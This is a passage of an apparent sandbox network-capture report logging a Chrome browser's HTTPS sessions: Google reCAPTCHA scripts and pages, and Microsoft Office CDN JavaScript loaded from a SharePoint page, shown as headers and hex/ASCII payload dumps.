afd_waccluster,afd_visioslice_control,afd_wordcapacity_2_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 504C596A3D03464D8684B9FE12D80D41 Ref B: MIA301000105037 Ref C: 2024-04-26T07:59:55Z Date: Fri, 26 Apr 2024 07:59:54 GMT Connection: close
2024-04-26 07:59:55 UTC	16	IN	Data Raw: 62 0d 0a 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: bBad Request
2024-04-26 07:59:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49992	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:55 UTC	1093	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 07:59:56 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Fri, 26 Apr 2024 07:59:56 GMT Date: Fri, 26 Apr 2024 07:59:56 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 07:59:56 UTC	727	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-26 07:59:56 UTC	502	IN	Data Raw: 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 30 6c 4a 6b 4f 56 48 44 79 33 49 74 59 6c 43 62 55 Data Ascii: cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-0lJkOVHDy3ItYlCbU
2024-04-26 07:59:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49994	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:57 UTC	683	OUT	GET /wise/owl/owl.slim.9fbed861128f4d4b51ef.js HTTP/1.1 Host: wise.public.cdn.office.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://usigroups-my.sharepoint.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:57 UTC	1184	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 36610 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: application/javascript Date: Fri, 26 Apr 2024 07:59:57 GMT Last-Modified: Thu, 25 Apr 2024 21:45:12 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=564499742837743314615136526749392099101"}],"include_subdomains ":true} Server: ECAcc (mid/872E) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon X-Content-Type-Options: nosniff x-ms-request-id: e7b40fca-e01e-0073-705a-973093000000 Content-Length: 188031 Connection: close
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 76 61 72 20 4d 69 63 72 6f 73 6f 66 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 2c 74 2c 65 2c 6f 2c 69 3d 7b 39 33 32 33 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 65 29 7b 65 2e 64 28 74 2c 7b 58 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 7d 29 3b 76 61 72 20 6f 3d 65 28 34 34 30 31 29 2c 69 3d 65 28 38 35 37 29 2c 72 3d 65 28 37 36 35 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 6e 2e 63 61 6c 6c 28 74 68 69 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 65 2e 48 3d 74 2c 65 7d 72 65 74 75 72 6e 20 6f 2e 5a 54 28 74 2c 6e 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 Data Ascii: var Microsoft;!function(){"use strict";var n,t,e,o,i={9323:function(n,t,e){e.d(t,{X:function(){return u}});var o=e(4401),i=e(857),r=e(765),u=function(n){function t(t){var e=n.call(this)\|\|this;return e.H=t,e}return o.ZT(t,n),Object.defineProperty(t.prototy
2024-04-26 07:59:57 UTC	1	IN	Data Raw: 7d Data Ascii: }
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 28 6e 2c 74 2c 65 29 7d 7d 28 28 6f 3d 74 2e 63 6e 2e 73 70 6c 69 63 65 28 30 2c 6e 3f 74 2e 61 6e 3a 74 2e 63 6e 2e 6c 65 6e 67 74 68 29 2c 69 3d 74 2e 76 6e 2c 73 3d 74 2e 6c 6e 2c 61 3d 74 2e 64 6e 2c 6c 3d 5b 5d 2c 63 3d 6f 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 65 29 7b 76 61 72 20 6f 3d 7b 7d 3b 69 66 28 6f 2e 47 3d 6e 2e 74 61 67 2c 6f 2e 54 3d 6e 2e 74 69 6d 65 73 74 61 6d 70 2d 74 2c 6f 2e 4d 3d 6e 2e 6d 65 73 73 61 67 65 2c 6f 2e 43 3d 6e 2e 63 61 74 65 67 6f 72 79 2c 6e 2e 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 29 7b 76 61 72 20 69 3d 65 2e 66 69 6e 64 49 6e 64 65 78 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 6e 2e 63 6f 72 72 65 6c 61 74 Data Ascii: (n,t,e)}}((o=t.cn.splice(0,n?t.an:t.cn.length),i=t.vn,s=t.ln,a=t.dn,l=[],c=o.map((function(n){return function(n,t,e){var o={};if(o.G=n.tag,o.T=n.timestamp-t,o.M=n.message,o.C=n.category,n.correlationId){var i=e.findIndex((function(t){return t===n.correlat
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 2c 6e 2e 43 6c 69 65 6e 74 53 65 6e 64 54 69 6d 65 3d 22 74 22 7d 28 61 7c 7c 28 61 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 5b 6e 2e 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 3d 30 5d 3d 22 41 74 74 65 6d 70 74 54 6f 55 73 65 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 42 65 66 6f 72 65 49 69 74 69 61 6c 69 7a 61 74 69 6f 6e 22 2c 6e 5b 6e 2e 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 3d 31 5d 3d 22 57 6f 72 6b 65 72 41 70 69 49 73 4e 6f 74 41 76 61 69 6c 61 62 6c 65 22 2c 6e 5b 6e 2e 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 3d 32 5d 3d 22 49 6e 76 61 6c 69 64 57 6f 72 6b 65 72 55 72 6c 22 2c 6e 5b 6e 2e 49 6e 73 74 61 6c Data Ascii: ,n.ClientSendTime="t"}(a\|\|(a={})),function(n){n[n.AttemptToUseFunctionalityBeforeIitialization=0]="AttemptToUseFunctionalityBeforeIitialization",n[n.WorkerApiIsNotAvailable=1]="WorkerApiIsNotAvailable",n[n.InvalidWorkerUrl=2]="InvalidWorkerUrl",n[n.Instal
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 54 72 61 63 65 54 61 67 28 35 35 33 37 32 36 32 38 37 2c 69 2e 57 2e 64 6f 2c 72 2e 47 2e 49 6e 66 6f 2c 22 47 65 74 57 6f 70 69 44 61 74 61 3a 20 47 65 74 74 69 6e 67 20 57 6f 70 69 48 6f 73 74 44 61 74 61 20 66 72 6f 6d 20 64 72 69 76 65 20 69 74 65 6d 2e 20 5b 49 73 56 61 6c 69 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 21 68 2c 22 5d 22 29 29 3b 76 61 72 20 70 3d 7b 73 74 61 72 74 54 69 6d 65 3a 66 2c 65 6e 64 54 69 6d 65 3a 28 30 2c 6f 2e 56 46 29 28 29 7d 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 6c 35 29 28 22 77 6f 70 69 44 61 74 61 45 6e 64 54 69 6d 65 22 29 2c 7b 64 6f 63 75 6d 65 6e 74 49 64 65 6e 74 69 66 69 65 72 3a 76 2c 77 6f 70 69 48 6f 73 74 44 61 74 61 3a 68 2c 66 65 74 63 68 44 69 61 67 6e 6f 73 74 69 63 73 3a 70 7d 7d 29 29 2e 63 61 74 63 68 28 Data Ascii: TraceTag(553726287,i.W.do,r.G.Info,"GetWopiData: Getting WopiHostData from drive item. [IsValid: ".concat(!!h,"]"));var p={startTime:f,endTime:(0,o.VF)()};return(0,o.l5)("wopiDataEndTime"),{documentIdentifier:v,wopiHostData:h,fetchDiagnostics:p}})).catch(
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 61 70 70 65 64 20 6e 6f 74 20 6c 6f 61 64 65 64 3a 20 22 2e 63 6f 6e 63 61 74 28 21 65 29 3b 6e 75 6c 6c 3d 3d 42 7c 7c 42 2e 55 4c 53 2e 73 65 6e 64 54 72 61 63 65 54 61 67 28 35 37 35 34 31 39 34 30 33 2c 76 2e 57 2e 64 6f 2c 68 2e 47 2e 45 72 72 6f 72 2c 75 29 3b 76 61 72 20 73 3d 7b 77 61 63 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 41 55 2e 45 6f 2c 71 6f 73 45 72 72 6f 72 4e 61 6d 65 3a 63 2e 44 47 2e 51 6f 73 45 72 72 6f 72 5f 4f 66 66 69 63 65 42 6f 6f 74 73 74 72 61 70 70 65 72 4e 6f 74 4c 6f 61 64 65 64 2c 65 72 72 6f 72 4d 65 73 73 61 67 65 3a 75 2c 65 72 72 6f 72 3a 72 2c 69 6e 53 74 61 67 69 6e 67 3a 21 31 7d 3b 69 26 26 69 28 73 29 7d 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 61 28 6e 29 7d 29 29 29 2c 5b 32 5d 7d 29 29 Data Ascii: apped not loaded: ".concat(!e);null==B\|\|B.ULS.sendTraceTag(575419403,v.W.do,h.G.Error,u);var s={wacErrorName:c.AU.Eo,qosErrorName:c.DG.QosError_OfficeBootstrapperNotLoaded,errorMessage:u,error:r,inStaging:!1};i&&i(s)}})).catch((function(n){a(n)}))),[2]}))
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 73 70 6f 6e 73 65 45 6e 64 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 74 69 6d 69 6e 67 2e 72 65 73 70 6f 6e 73 65 45 6e 64 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 44 6f 6d 43 6f 6d 70 6c 65 74 65 54 69 6d 65 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 74 69 6d 69 6e 67 2e 64 6f 6d 43 6f 6d 70 6c 65 74 65 29 7c 7c 30 2c 6f 77 6c 46 72 61 6d 65 50 61 67 65 52 65 64 69 72 65 63 74 43 6f 75 6e 74 3a 28 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6e 61 76 69 Data Ascii: ramePageResponseStartTime:(null==t?void 0:t.timing.responseStart)\|\|0,owlFramePageResponseEndTime:(null==t?void 0:t.timing.responseEnd)\|\|0,owlFramePageDomCompleteTime:(null==t?void 0:t.timing.domComplete)\|\|0,owlFramePageRedirectCount:(null==t?void 0:t.navi
2024-04-26 07:59:57 UTC	5	IN	Data Raw: 45 6f 3d 22 57 Data Ascii: Eo="W
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 61 63 44 6f 63 75 6d 65 6e 74 42 6f 6f 74 73 74 72 61 70 70 65 72 4c 6f 61 64 45 72 72 6f 72 22 2c 6e 2e 4e 6f 3d 22 57 61 63 49 6e 69 74 69 61 6c 69 7a 65 57 6f 70 69 50 65 6e 64 69 6e 67 45 72 72 6f 72 22 2c 6e 2e 57 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 47 65 6e 65 72 69 63 42 6f 6f 74 45 72 72 6f 72 22 2c 6e 2e 46 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 31 45 72 72 6f 72 22 2c 6e 2e 79 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 32 45 72 72 6f 72 22 2c 6e 2e 55 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 32 45 72 72 6f 72 5f 41 70 70 22 2c 6e 2e 54 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e 74 4a 73 41 70 69 56 32 45 72 72 6f 72 5f 4a 73 41 70 69 22 2c 6e 2e 41 6f 3d 22 57 61 63 44 6f 63 75 6d 65 6e Data Ascii: acDocumentBootstrapperLoadError",n.No="WacInitializeWopiPendingError",n.Wo="WacDocumentGenericBootError",n.Fo="WacDocumentJsApiV1Error",n.yo="WacDocumentJsApiV2Error",n.Uo="WacDocumentJsApiV2Error_App",n.To="WacDocumentJsApiV2Error_JsApi",n.Ao="WacDocumen
2024-04-26 07:59:57 UTC	16383	IN	Data Raw: 3d 2f 68 74 74 70 5b 73 5d 3f 3a 5c 2f 5c 2f 5b 5c 53 5d 2a 3f 2d 6d 79 5c 2e 73 68 61 72 65 70 6f 69 6e 74 5b 5c 53 5d 2a 3f 5c 2e 63 6f 6d 2f 2c 73 3d 2f 68 74 74 70 5b 73 5d 3f 3a 5c 2f 5c 2f 64 5c 2e 64 6f 63 73 5c 2e 6c 69 76 65 5c 2e 6e 65 74 2f 2c 61 3d 22 68 74 74 70 73 3a 2f 2f 67 72 61 70 68 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 6c 3d 6e 65 77 20 52 65 67 45 78 70 28 5b 22 5e 28 68 74 74 70 73 3f 3a 29 2f 2f 22 2c 22 28 28 5b 5e 3a 2f 3f 23 5d 2a 29 28 3f 3a 3a 28 5b 30 2d 39 5d 2b 29 29 3f 29 22 2c 22 28 2f 7b 30 2c 31 7d 5b 5e 3f 23 5d 2a 29 22 2c 22 28 5c 5c 3f 5b 5e 23 5d 2a 7c 29 22 2c 22 28 23 2e 2a 7c 29 24 22 5d 2e 6a 6f 69 6e 28 22 22 29 29 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 22 22 Data Ascii: =/http[s]?:\/\/[\S]?-my\.sharepoint[\S]?\.com/,s=/http[s]?:\/\/d\.docs\.live\.net/,a="https://graph.microsoft.com",l=new RegExp(["^(https?:)//","(([^:/?#])(?::([0-9]+))?)","(/{0,1}[^?#])","(\\?[^#]\|)","(#.\|)$"].join(""));function c(n){if(!n)return""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49995	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:58 UTC	1700	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&size=normal&s=p3PtVr9Rtc4zmVzsCHKovX43dv5ANmW4EHR9iS5ZRMIIERAfjGKzDw3w1miK0y9PbgnSQoncU4tpDcwY7U7I3H8AzWBIeIONPriGr-t350iz5rLlDnHnMsn8yHgPokxAlmiESfF9AloqhxAdR76omyagk91xvML4Zgl45cqaApyGFdTskMdQ5ovLMg_jWYZPNfaQGMkckH4WakBpGFZsgOrmbnGxvK-bAkHbTTEPDuj2EcntrL5pG7v9LQ6p5TbmtOdzjdBPXkSX3nRP41yJg3vY3C02z8E&cb=b3wwlq48xfop HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 07:59:58 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Apr 2024 07:59:58 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-dXZeraASVT1tNp-TtlHOXQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 07:59:58 UTC	364	IN	Data Raw: 32 61 65 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2ae8<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-26 07:59:58 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
